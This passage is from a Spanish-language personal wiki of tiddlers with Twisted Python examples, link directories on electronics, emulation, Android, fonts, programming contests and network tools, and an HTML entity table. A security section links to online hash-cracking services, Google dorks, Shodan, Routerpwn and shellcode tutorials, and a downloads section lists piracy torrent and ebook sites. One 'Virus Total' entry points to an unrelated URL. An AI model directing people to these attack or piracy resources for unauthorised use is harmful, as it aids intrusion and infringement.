deferred = getPage('http://twistedmatrix.com/')
# Añade los dos callbacks al objeto deferred -- solicita que se llame a la
# función lowerCaseContents cuando llegue el contenido descargado, y que después
# llame a la función printContents con el resultado de la llamada anterior
deferred.addCallback(lowerCaseContents)
deferred.addCallback(printContents)
# Añade el errback al objeto deferred para manejar los errores
deferred.addErrback(errorHandler)
# Lanza el gestor de eventos
reactor.run()
</code>

! Ejemplo de servidor
<code python>
from twisted.internet.protocol import Protocol, Factory
from twisted.internet import reactor
class QOTD(Protocol):
    def connectionMade(self):
        self.transport.write("Ande yo caliente, riase la gente.\r\n")
        self.transport.loseConnection()
# Las siguientes líneas hacen la magia
factory = Factory()
factory.protocol = QOTD
# 8007 es el puerto en el que corre el servicio. Normalmente >1024
reactor.listenTCP(8007, factory)
reactor.run()
</code>

! Referencia
* http://twistedmatrix.com
* http://www.genbetadev.com/frameworks/introduccion-a-la-programacion-asincrona-con-twisted
!Descripción
<part descripcion>
La ingeniería eléctrica es el campo de la ingeniería que se ocupa del estudio y la aplicación de la electricidad, la electrónica y el electromagnetismo.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Ingeniería_eléctrica
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
La ingeniería electrónica es el conjunto de conocimientos técnicos, tanto teóricos como prácticos que tienen por objetivo la aplicación de la tecnología electrónica para la resolución de problemas prácticos.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Ingenier%C3%ADa_electr%C3%B3nica
* Wikilibro: http://es.wikibooks.org/wiki/Electr%C3%B3nica
* Fundamentos: http://es.wikiversity.org/wiki/Electr%C3%B3nica
* Tutoriales: http://www.forosdeelectronica.com/tutoriales/
* Recursos varios: http://www.techniciansfriend.com/enlaces.htm
* Simbología electrónica: http://www.simbologia-electronica.com/
* Circuit Idea (wikilibro): http://en.wikibooks.org/wiki/Circuit_Idea
* Componentes electrónicos básicos: http://www.ikkaro.com/node/415

!! Foros y blogs
* Revista Pyro Electro: http://www.pyroelectro.com/
* Hack a day: http://hackaday.com/

!! Esquemas electrónicos
* Discover circuits: http://www.discovercircuits.com/index.htm
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Electrónica con componentes contínuos.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Circuito_anal%C3%B3gico

* ''Libros:''
** Electronics, the easy way: http://books.google.com/books?id=FEdLZZgCe6YC&lpg=PA232&dq=Electronics%20the%20easy%20way%20modulation%20%26%20demodulation&hl=es&pg=PA33#v=onepage&q&f=false
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Electrónica con componentes discretos.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Electr%C3%B3nica_digital
** Simulador online de puertas lógicas: http://joshblog.net/projects/logic-gate-simulator/Logicly.html
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Eliminar duplicados en un array^^[[<editar>|$1]]^^
La siguiente función devuelve los elementos únicos de una lista o array:
<code python>
def unique(seq):
    return dict.fromkeys(seq).keys()
</code>
!Descripción
<part descripcion>
Teoría y práctica sobre la emulación de sistemas electrónicos digitales. Según la Wikipedia, un emulador es: //"En informática, un emulador es un software que permite ejecutar programas de computadora o videojuegos en una plataforma (arquitectura hardware o sistema operativo) diferente de aquella para la cual fueron escritos originalmente"//.

La diferencia principal entre un emulador y un simulador es que el simulador intenta replicar únicamente el comportamiento, pero el emulador además trata de replicar la experiencia final del usuario. Esto quiere decir que un emulador además de hacer conseguir que el sistema funcione, debe hacer que funcione a una velocidad similar al original y con unas capacidades semejantes, aunque se esté ejecutando sobre una plataforma con unas capacidades muy superiores a la original.
</part>
!Enlaces
<part enlaces>
* ''General:''
** Artículo de la Wikipedia: http://es.wikipedia.org/wiki/Emulador
** Introducción a la emulación (I): http://www.speccy.org/wiki/doku.php?id=emulacion:introduccion-a-la-emulacion-i
** Introducción a la emulación (II): http://www.speccy.org/wiki/doku.php?id=emulacion:introduccion-a-la-emulacion-y-ii
** How to Write a Computer Emulator: http://fms.komkon.org/EMUL8/HOWTO.html
** Emulador de 8080 en JavaScript: http://www.tramm.li/i8080/
** Emulador de Gameboy en JavaScript: http://imrannazar.com/GameBoy-Emulation-in-JavaScript:-The-CPU
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Emuladores de UNIX y Linux para win32 y otros sistemas operativos no POSIX.
</part>
! Enlaces
<part enlaces>
!! General
* Cygwin: http://www.cygwin.com/
* Moba Xterm: http://mobaxterm.mobatek.net/en/
* Co-linux: http://www.colinux.org/
* Min-gw: http://www.mingw.org/
* uwin: http://www2.research.att.com/sw/tools/uwin/
* Interix SUA: http://www.suacommunity.com/SUA.aspx
</part>
/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Aquí se aglutinan todos los temas referentes a al red de redes y que no sean "tan horrorosamente técnicos" como los de la sección [[Informática]].

Entiéndase esta sección como una especie de "favoritos ordenados": una recopilación de páginas web ordenadas en categorías.
</part>
!Enlaces
<part enlaces>
* ''Internet, ese gran desconocido:''
** Definición: http://es.wiktionary.org/wiki/internet?rdfrom=Internet
** Glosario de términos: http://www.uco.es/ccc/glosario/glosario.html
** Artículo general de la Wikipedia: http://es.wikipedia.org/wiki/Internet
** Estructura de Internet: http://es.wikipedia.org/wiki/Estructura_de_Internet
** ¿Cómo funciona Internet?: http://www.monografias.com/trabajos78/como-funciona-internet/como-funciona-internet.shtml

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!!Enlaces simbólicos en WinXP^^[[<editar>|$1]]^^
Para windows Vista en adelante se puede usar {{{mklink}}}, pero no existe en WinXP. ¿Como hacerlos pues? ¡Pues con la herramienta [[junction|http://technet.microsoft.com/en-us/sysinternals/bb896768.aspx]]. Permite crear enlaces a directorios de forma sencilla:
<code shell>
c:\> junction.exe x:\acceso\directo y:\directorio\enlazado
</code>
<<showtoc>>
! Descripción
<part descripcion>
Directorio de APIs de servicios online
</part>
! Enlaces
<part enlaces>
!! Información útil
!!! Información local
* Autobuses de Zaragoza: http://www.zaragoza.es/ciudad/risp/detalle_Risp?id=335
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Enlaces con recursos para Android como blogs, comunidades, tiendas alternativas, etc.
</part>
! Enlaces
<part enlaces>
!!! Listados
* Listado de mejores aplicaciones según lifehacker: http://www.cyberhades.com/2010/08/28/las-mejores-aplicaciones-para-android-por-lifehacker/
* Top 30 de aplicaciones: http://www.celularis.com/servicios/top-30-mejores-aplicaciones-android.php
* Top 40 y 1 WTF: http://www.androidpolice.com/2011/03/08/40-best-and-1-wtf-new-android-apps-games-and-live-wallpapers-from-last-week-3211-3811/

!!! Blogs y buscadores
* Android Zoom: http://www.androidzoom.com/
* Espandroid: http://www.espandroid.com/
* Androlib: http://es.androlib.com
* Play Android: http://www.playandroid.com/
* And Roid Es: http://and.roid.es
* El Android Libre: http://www.elandroidelibre.com/
* Xataka Android: http://www.xatakandroid.com/
* Android Police: http://www.androidpolice.com/

!!! Recursos para personalización
* Recursos para Android: http://android-users.deviantart.com/
* AndroidWallpapers en deviantART: http://androidwallpapers.deviantart.com
* Wallpapers 800x480: http://dailymobile.se/2010/01/01/nokia-n900-wallpaper-gallery-800x480/

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Enlaces de descargas
</part>
!Enlaces
!! Torrent
Buscadores de .torrent y enlaces magnet:
* Cuélgame: http://cuelgame.net/
* The Pirate Bay: http://thepiratebay.se/
* Elitetorrent: http://www.elitetorrent.net/
<part enlaces>

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Descarga de libros en formatos electrónicos
</part>
! Enlaces
<part enlaces>
!! Recopilaciones de enlaces
* Listado de Mundogeek: http://mundogeek.net/archivos/2007/06/11/%EF%BB%BFdescargar-libros-gratis/

!! General
* PDF Database: http://pdfdatabase.com/
* epub gratis: http://epubgratis.me/
* Bibliotecas digitales: http://207.182.135.44/?/inicio/
* Libros epub: http://librosepub.org/
* Papyre FB2: http://papyrefb2.net/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Páginas con fuentes de letra, comparadores, buscadores y otras herramientas útiles para buscar tipografías
</part>
! Enlaces
<part enlaces>
!! Descarga de fuentes
* 5 fuentes monoespaciadas: http://www.genbetadev.com/herramientas/cinco-fuentes-monospace-que-tal-vez-no-conozcas
* Directorio de fuentes de Google: http://code.google.com/p/googlefontdirectory/
* Fuentes libres Deja Vu: http://dejavu-fonts.org/wiki/Main_Page
* Grixel Kyrou 9: http://www.dafont.com/grixel-kyrou-9.font
* Better Fonts: http://betterfonts.com/
* Urban Fonts: http://www.urbanfonts.com/
* Font Browser: http://www.stcassociates.com/lab/fontbrowser.html

!! Comparadores
* Font Tester: http://www.fonttester.com/
* Type Tester: http://www.typetester.org/

!! Buscadores inversos
* What Font is: http://www.whatfontis.com/
* What The Font: http://new.myfonts.com/WhatTheFont/

!! Software
My Font Book: http://www.myfontbook.com/

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Utilidades de generación o modificación de gráficos e imágenes.
</part>
! Enlaces
<part enlaces>
!! Dibujo
* Sketch Pad: http://mugtug.com/sketchpad/
* CAM online con partKAM: http://www.carveit.ca/partkam/
* Diagramly: http://www.diagram.ly/
!! Generadores
!! Retoque fotográfico
!! Recursos gráficos
!!! Herramientas para la web
* PLACEHOLD.IT (imágenes de relleno a medida): http://placehold.it/
** Ejemplo de uso: http://placehold.it/350x150
!!! Galerías de gráficos
* 2 millones de texturas gratuitas: http://creativefan.com/photoshop-textures/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Servicios de Hosting
</part>
! Enlaces
<part enlaces>
!! Hosting web gratuito
* Paste HTML: http://pastehtml.com/
* Google App Engine: http://code.google.com/intl/es/appengine/

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Juegos online
</part>
! Enlaces
<part enlaces>
!! Juegos de programación
* """TopCoder""": http://www.topcoder.com/
* Ubuntu – Beginner Programming Challenges: http://ubuntuforums.org/showthread.php?t=876494
* """CodeChef""": http://www.codechef.com/
* Programming Praxis: http://programmingpraxis.com/
* Project Euler: http://projecteuler.net/
* Python Challenge: http://www.pythonchallenge.com/
* Facebook Puzzles: http://www.facebook.com/careers/puzzles.php
* Coding Bat: http://codingbat.com/
* Sphere Online Judge: http://www.spoj.pl/
* Code Golf: http://codegolf.com/
* cplus: http://cplus.about.com/od/programmingchallenges/Programming_Challenges.htm
* """UVa Online Judge""": http://uva.onlinejudge.org/
* Google Code Jam: http://code.google.com/codejam/
* Less Than Dot: http://forum.lessthandot.com/viewforum.php?f=102
* ACM ICPC: http://cm2prod.baylor.edu/welcome.icpc
* ITA Software: http://www.itasoftware.com/careers/puzzle_archive.html
* Refactor my code: http://refactormycode.com/
* Ruby Quiz: http://www.rubyquiz.com/
* Al Zimmermann’s Programming Contests: http://www.azspcs.net/
* Timus Online Judge: http://acm.timus.ru/
* Bring Your Own Code: http://thedailywtf.com/Series/Bring_Your_Own_Code.aspx
* Project Eureka: http://projecteureka.org
* Bright Shadows: http://www.bright-shadows.net/
* OSIX: http://www.osix.net/
* Code Kata: http://codekata.pragprog.com/2007/01/code_kata_backg.html
* C Puzzles: http://www.gowrikumar.com/c/index.html
* Prolog problems: https://sites.google.com/site/prologsite/prolog-problems
* 12 meses 12 katas: http://www.12meses12katas.com/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Enlaces a aplicaciones online de noticas y/o visores de noticias.
</part>
!Enlaces
<part enlaces>
* ''Lectores RSS:''
** Listado con tropecientos: http://allrss.com/rssreaderswebbased.html
** Google Reader: http://reader.google.com
** Alesti: http://alesti.org
** Bloglines: http://beta.bloglines.com
** Feed show: http://reader.feedshow.com

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
!Descripción
<part descripcion>
Descripcion de la sección
</part>
!Enlaces
<part enlaces>
!!Listados de direcciones
* IPs de buscadores web: http://www.iplists.com/

!! DNS y direcciones IP:
* Herramientas diversas sobre IPs: http://whatismyipaddress.com
* Herramientas de DNS Stuff: http://www.dnsstuff.com/tools/
* Geo posicionador de IP: http://www.ip-adress.com/
* Información de IP y otras herramientas de información de la conexión: http://www.hostip.info/

!! Información de servidores web:
* Herramientas de Domain Tools: http://www.domaintools.com/
* IP e información de encabezados HTTP enviados al servidor: http://www.myipinfo.net/
* Herramientas de Server Sniff: http://serversniff.net/index.php
* Robtex, la navaja suiza de internet: http://www.robtex.com

!! Traceroute:
* Visual Trace Route: http://www.yougetsignal.com/tools/visual-tracert/

!! VPNs, SOCKs y túneles:
* ''Gratuitos:''
** Pro XPN: http://proxpn.com/
** Its hidden: http://itshidden.com/
** Listado de servidores SSH: http://shells.red-pill.eu/

* ''De pago:''
** Witopia: http://www.witopia.net/welcome.php
** Tu VPN: http://www.tuvpn.com/
** Sh3lls.net: http://www.sh3lls.net/proxy/

!! Proxys:
* Comprobador de conexiones SOCKS: http://www.aliveproxy.com/socks4-checker/

!! Miscelánea:
* Escaner Wifi en un applet de Java: http://tools.meraki.com/stumbler
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Enlaces sobre seguridad informática
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia: http://es.wikipedia.org/wiki

!! Blogs y foros
!!! Blogs
* Security By Default: http://www.securitybydefault.com

!! Servicios online
!!! Creackeo de hashses
* Recopilación de sitios de crackeo: http://www.securitybydefault.com/2010/10/crackeando-contrasenas-en-md5-con.html
* TMTO (MD5/SHA1/LM/NTLM): http://tmto.org/
* Online Hash Crack(LM/NTLM/SHA1/MYSQL/MD5): http://www.onlinehashcrack.com/
* MD5 Cracker (MD5, multi): http://md5cracker.tk/
* Hash Database (MD5/SHA*) http://www.hash-database.net/

!!! Análisis y repositorios de tramas
* """CloudShark""", analizador online de ficheros cap: http://www.cloudshark.org/
* Repositorio de tramas: http://www.pcapr.net/home
* Otro repositorio de tramas: https://www.openpacket.org/

!!! Buscadores de equipos vulnerables
* Google Hacking Database: http://www.exploit-db.com/google-dorks/
* Buscador [[SHODAN]]: http://www.shodanhq.com/
* Buscador robtex: http://www.robtex.com

!!! Generadores y comprobadores de contraseñas
* Password Generator: http://rumkin.com/tools/password/pass_gen.php
* Password Strength Test (comprobación de seguridad de la contraseña): http://rumkin.com/tools/password/passchk.php
* Mailto encoder (direcciones "mailto:" a prueba de spam): http://rumkin.com/tools/mailto_encoder/

!!! Ataques online
* Routerpwn: http://routerpwn.com/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Enlaces a servicios online, que no requieren descarga y están disponibles en cualquier momento y lugar.
</part>
<part enlaces>
! Comunicación
!! Correo electrónico
* Gmail: http://gmail.com
** Como hacer reglas avanzadas: http://www.cristalab.com/tips/crear-filtros-avanzados-en-gmail-c46389l/
* Hotmail: http://hotmail.com
* Yahoo mail: http://mail.yahoo.com
* Spam Gourmet: http://spamgourmet.com/

!! Mensajería instantánea
* Meebo (múltiple): https://www.meebo.com/
* Jeti (jabber/XMMP): http://errepunto.es/jety/

! Seguridad
!! Escaners e información
!!! Información de vulnerabilidades
* Zero Day Scan: http://www.zerodayscan.com/

!!! Antivirus online
* Virus Total: http://colorschemedesigner.com/

! Gráficos e imágenes
!! Buscadores
* Buscador de iconos libres: http://www.iconfinder.com/
* search code: http://searchco.de/
!! Utilidades
!!! Color y paletas
* Color Scheme Designer: http://colorschemedesigner.com/

</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
!Descripción
<part descripcion>
Utilidades de modificación, generación o codificación de texto.
</part>
!Enlaces
<part enlaces>
!! Colecciones de herramientas
* ~MyTextTools™ Text Manipulation Tools: http://mytexttools.com/
* Text Mechanic: http://textmechanic.com/
* Conversión entre formatos de texto: http://www.seguridadwireless.net/php/conversor-universal-wireless.php

!! Libros y ebooks
* Publica tus libros online: http://www.scribd.com

!! Herramientas sobre texto plano
* Pon las letras boca abajo: http://www.xahutu-studio.com/flip.html

!! Tablas de caracteres
* Tabla de caracteres unicode: http://www.tamasoft.co.jp/en/general-info/unicode.html
* Otra tabla unicode: http://unicode.coeurlumiere.com/
* Tabla unicode con sistema de búsqueda: http://www.utf8-chartable.de/
* Tabla UTF-8: http://mcdlr.com/utf-8/
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
<<showtoc>>
! Descripción
<part descripcion>
Información sobre lenguaje ensamblador, ASM o lenguaje máquina de cualquier arquitectura.
</part>
! Enlaces
<part enlaces>
!! General
* Artículo de la Wikipedia:http://es.wikipedia.org/wiki/Lenguaje_ensamblador
* Comunidad de programadores de ensamblador: http://www.asmcommunity.net/

!! Documentación
!!! Lenguaje ASM
* The Art of Assembly Language Programming: http://maven.smith.edu/~thiebaut/ArtOfAssembly/artofasm.html
* The Art of Assembly (varias versiones y descargas): http://homepage.mac.com/randyhyde/webster.cs.ucr.edu/www.artofasm.com/index.html
* Biblioteca de ensamblador: http://www.computer-books.us/assembler.php
* Ejemplos de ASM para linux: http://snippets-tricks.org/topico/programacion/ensamblador/
* ASM Community Book: http://www.asmcommunity.net/book/
* Tabla de códigos: http://www.jegerlehner.ch/intel/index_es.html
* Programming from the Ground Up: http://www.cs.princeton.edu/courses/archive/spr08/cos217/reading/ProgrammingGroundUp-1-0-lettersize.pdf

!!! Depuración, ingeniería inversa y auditoría de ensamblados
* Blog de ingeniería inversa y desensamblado: http://www.binary-auditing.com/
* Tutorial de introducción: http://www.binary-auditing.com/beginners-guide/
* Curso completo: http://www.binary-auditing.com/
* Tutoriales y prácticas de ingeniería inversa: http://crackmes.de/

!! Compiladores
* Microsoft ASM: http://masm32.com/masmdl.htm

!! Desensambladores y debuggers
* IDA Pro: http://www.hex-rays.com/idapro/
* Tutorial de IDA: http://www.scribd.com/doc/32327741/IDA-User-Tutorial
* Plugins para IDA: http://vierito.es/wordpress/2010/06/03/explota-al-maximo-tu-ida-pro-los-mejores-plugins/
* Olly Debugger: http://www.ollydbg.de/
* EDB (Evan's Debugger): http://freshmeat.net/projects/edebugger/
* Editor de ficheros PE (ejecutables): http://www.ntcore.com/exsuite.php

!! Desarrollo de shellcodes
* Tutoriales sobre shellcodes: http://www.cyberhades.com/2012/03/27/tutoriales-sobre-como-escribir-shellcodes/
* Shellcode tutorials: http://www.projectshellcode.com/node/17
</part>

/% ADVERTENCIA: ¡¡No borres ni modifiques las siguientes líneas!!  %/
<<tiddler _comun_secciones with: {{tiddler.title}}>>
<<autoRefresh>>
! Introducción
Para poder utilizar símbolos especiales y caracteres y símbolos propios de otros idiomas, es neceario utilizar una codificación especial. [[HTML]] utiliza la nomenclatura de entidades de [[XML]], que consiste en poner un identificador entre los símbolos {{{&}}} y {{{;}}}. Por ejemplo, para mostrar una o acentuada española, se sustituiría la letra por su código de entidad: {{{&oacute;}}}, que sería renderizada por el navegador como {{{ó}}}.

Las entidades que representan caracteres del estandar ISO-8859-1 (también llamado "latin-1") tienen dos formas de codificarse, una con el nombre de la letra, y otra con el valor decimal ASCII. Ambos sistemas son equivalentes y mezclables.

! Tabla de entidades ASCII
<part tabla>
| !Result | !Description | !Entity Name | !Entity Number |h
|>|>|>| ASCII |h
| {{{" }}} |quotation mark | {{{&quot;}}} | {{{&#34;}}} |
| {{{' }}} |apostrophe  | {{{&apos;}}} (no IE) | {{{&#39;}}} |
| {{{& }}} |ampersand | {{{&amp;}}} | {{{&#38;}}} |
| {{{< }}} |less-than | {{{&lt;}}} | {{{&#60;}}} |
| {{{> }}} |greater-than | {{{&gt;}}} | {{{&#62;}}} |
|>|>|>| SÍMBOLOS ~ISO-8859-1 |h
| {{{  }}} |non-breaking space | {{{&nbsp;}}} | {{{&#160;}}} |
| {{{¡ }}} |inverted exclamation mark | {{{&iexcl;}}} | {{{&#161;}}} |
| {{{¢ }}} |cent | {{{&cent;}}} | {{{&#162;}}} |
| {{{£ }}} |pound | {{{&pound;}}} | {{{&#163;}}} |
| {{{¤ }}} |currency | {{{&curren;}}} | {{{&#164;}}} |
| {{{¥ }}} |yen | {{{&yen;}}} | {{{&#165;}}} |
| {{{¦ }}} |broken vertical bar | {{{&brvbar;}}} | {{{&#166;}}} |
| {{{§ }}} |section | {{{&sect;}}} | {{{&#167;}}} |
| {{{¨ }}} |spacing diaeresis | {{{&uml;}}} | {{{&#168;}}} |
| {{{© }}} |copyright | {{{&copy;}}} | {{{&#169;}}} |
| {{{ª }}} |feminine ordinal indicator | {{{&ordf;}}} | {{{&#170;}}} |
| {{{« }}} |angle quotation mark (left) | {{{&laquo;}}} | {{{&#171;}}} |
| {{{¬ }}} |negation | {{{&not;}}} | {{{&#172;}}} |
| {{{&shy; }}} |soft hyphen | {{{&shy;}}} | {{{&#173;}}} |
| {{{® }}} |registered trademark | {{{&reg;}}} | {{{&#174;}}} |
| {{{¯ }}} |spacing macron | {{{&macr;}}} | {{{&#175;}}} |
| {{{° }}} |degree | {{{&deg;}}} | {{{&#176;}}} |
| {{{± }}} |plus-or-minus  | {{{&plusmn;}}} | {{{&#177;}}} |
| {{{² }}} |superscript 2 | {{{&sup2;}}} | {{{&#178;}}} |
| {{{³ }}} |superscript 3 | {{{&sup3;}}} | {{{&#179;}}} |
| {{{´ }}} |spacing acute | {{{&acute;}}} | {{{&#180;}}} |
| {{{µ }}} |micro | {{{&micro;}}} | {{{&#181;}}} |
| {{{¶ }}} |paragraph | {{{&para;}}} | {{{&#182;}}} |
| {{{· }}} |middle dot | {{{&middot;}}} | {{{&#183;}}} |
| {{{¸ }}} |spacing cedilla | {{{&cedil;}}} | {{{&#184;}}} |
| {{{¹ }}} |superscript 1 | {{{&sup1;}}} | {{{&#185;}}} |
| {{{º }}} |masculine ordinal indicator | {{{&ordm;}}} | {{{&#186;}}} |
| {{{» }}} |angle quotation mark (right) | {{{&raquo;}}} | {{{&#187;}}} |
| {{{¼ }}} |fraction 1/4 | {{{&frac14;}}} | {{{&#188;}}} |
| {{{½ }}} |fraction 1/2 | {{{&frac12;}}} | {{{&#189;}}} |
| {{{¾ }}} |fraction 3/4 | {{{&frac34;}}} | {{{&#190;}}} |
| {{{¿ }}} |inverted question mark | {{{&iquest;}}} | {{{&#191;}}} |
| {{{× }}} |multiplication | {{{&times;}}} | {{{&#215;}}} |
| {{{÷ }}} |division | {{{&divide;}}} | {{{&#247;}}} |
|>|>|>| CARÁCTERES ~ISO-8859-1 |h
| {{{À }}} |capital a, grave accent | {{{&Agrave;}}} | {{{&#192;}}} |
| {{{Á }}} |capital a, acute accent | {{{&Aacute;}}} | {{{&#193;}}} |
| {{{Â }}} |capital a, circumflex accent | {{{&Acirc;}}} | {{{&#194;}}} |
| {{{Ã }}} |capital a, tilde | {{{&Atilde;}}} | {{{&#195;}}} |
| {{{Ä }}} |capital a, umlaut mark | {{{&Auml;}}} | {{{&#196;}}} |
| {{{Å }}} |capital a, ring | {{{&Aring;}}} | {{{&#197;}}} |
| {{{Æ }}} |capital ae | {{{&AElig;}}} | {{{&#198;}}} |
| {{{Ç }}} |capital c, cedilla | {{{&Ccedil;}}} | {{{&#199;}}} |
| {{{È }}} |capital e, grave accent | {{{&Egrave;}}} | {{{&#200;}}} |
| {{{É }}} |capital e, acute accent | {{{&Eacute;}}} | {{{&#201;}}} |
| {{{Ê }}} |capital e, circumflex accent | {{{&Ecirc;}}} | {{{&#202;}}} |
| {{{Ë }}} |capital e, umlaut mark | {{{&Euml;}}} | {{{&#203;}}} |
| {{{Ì }}} |capital i, grave accent | {{{&Igrave;}}} | {{{&#204;}}} |
| {{{Í }}} |capital i, acute accent | {{{&Iacute;}}} | {{{&#205;}}} |
| {{{Î }}} |capital i, circumflex accent | {{{&Icirc;}}} | {{{&#206;}}} |
| {{{Ï }}} |capital i, umlaut mark | {{{&Iuml;}}} | {{{&#207;}}} |
| {{{Ð }}} |capital eth, Icelandic | {{{&ETH;}}} | {{{&#208;}}} |
| {{{Ñ }}} |capital n, tilde | {{{&Ntilde;}}} | {{{&#209;}}} |
| {{{Ò }}} |capital o, grave accent | {{{&Ograve;}}} | {{{&#210;}}} |
| {{{Ó }}} |capital o, acute accent | {{{&Oacute;}}} | {{{&#211;}}} |
| {{{Ô }}} |capital o, circumflex accent | {{{&Ocirc;}}} | {{{&#212;}}} |
| {{{Õ }}} |capital o, tilde | {{{&Otilde;}}} | {{{&#213;}}} |
| {{{Ö }}} |capital o, umlaut mark | {{{&Ouml;}}} | {{{&#214;}}} |
| {{{Ø }}} |capital o, slash | {{{&Oslash;}}} | {{{&#216;}}} |
| {{{Ù }}} |capital u, grave accent | {{{&Ugrave;}}} | {{{&#217;}}} |
| {{{Ú }}} |capital u, acute accent | {{{&Uacute;}}} | {{{&#218;}}} |
| {{{Û }}} |capital u, circumflex accent | {{{&Ucirc;}}} | {{{&#219;}}} |
| {{{Ü }}} |capital u, umlaut mark | {{{&Uuml;}}} | {{{&#220;}}} |
| {{{Ý }}} |capital y, acute accent | {{{&Yacute;}}} | {{{&#221;}}} |
| {{{Þ }}} |capital THORN, Icelandic | {{{&THORN;}}} | {{{&#222;}}} |
| {{{ß }}} |small sharp s, German | {{{&szlig;}}} | {{{&#223;}}} |
| {{{à }}} |small a, grave accent | {{{&agrave;}}} | {{{&#224;}}} |
| {{{á }}} |small a, acute accent | {{{&aacute;}}} | {{{&#225;}}} |
| {{{â }}} |small a, circumflex accent | {{{&acirc;}}} | {{{&#226;}}} |
| {{{ã }}} |small a, tilde | {{{&atilde;}}} | {{{&#227;}}} |
| {{{ä }}} |small a, umlaut mark | {{{&auml;}}} | {{{&#228;}}} |
| {{{å }}} |small a, ring | {{{&aring;}}} | {{{&#229;}}} |
| {{{æ }}} |small ae | {{{&aelig;}}} | {{{&#230;}}} |
| {{{ç }}} |small c, cedilla | {{{&ccedil;}}} | {{{&#231;}}} |
| {{{è }}} |small e, grave accent | {{{&egrave;}}} | {{{&#232;}}} |
| {{{é }}} |small e, acute accent | {{{&eacute;}}} | {{{&#233;}}} |
| {{{ê }}} |small e, circumflex accent | {{{&ecirc;}}} | {{{&#234;}}} |
| {{{ë }}} |small e, umlaut mark | {{{&euml;}}} | {{{&#235;}}} |
| {{{ì }}} |small i, grave accent | {{{&igrave;}}} | {{{&#236;}}} |
| {{{í }}} |small i, acute accent | {{{&iacute;}}} | {{{&#237;}}} |
| {{{î }}} |small i, circumflex accent | {{{&icirc;}}} | {{{&#238;}}} |
| {{{ï }}} |small i, umlaut mark | {{{&iuml;}}} | {{{&#239;}}} |
| {{{ð }}} |small eth, Icelandic | {{{&eth;}}} | {{{&#240;}}} |
| {{{ñ }}} |small n, tilde | {{{&ntilde;}}} | {{{&#241;}}} |
| {{{ò }}} |small o, grave accent | {{{&ograve;}}} | {{{&#242;}}} |
| {{{ó }}} |small o, acute accent | {{{&oacute;}}} | {{{&#243;}}} |
| {{{ô }}} |small o, circumflex accent | {{{&ocirc;}}} | {{{&#244;}}} |
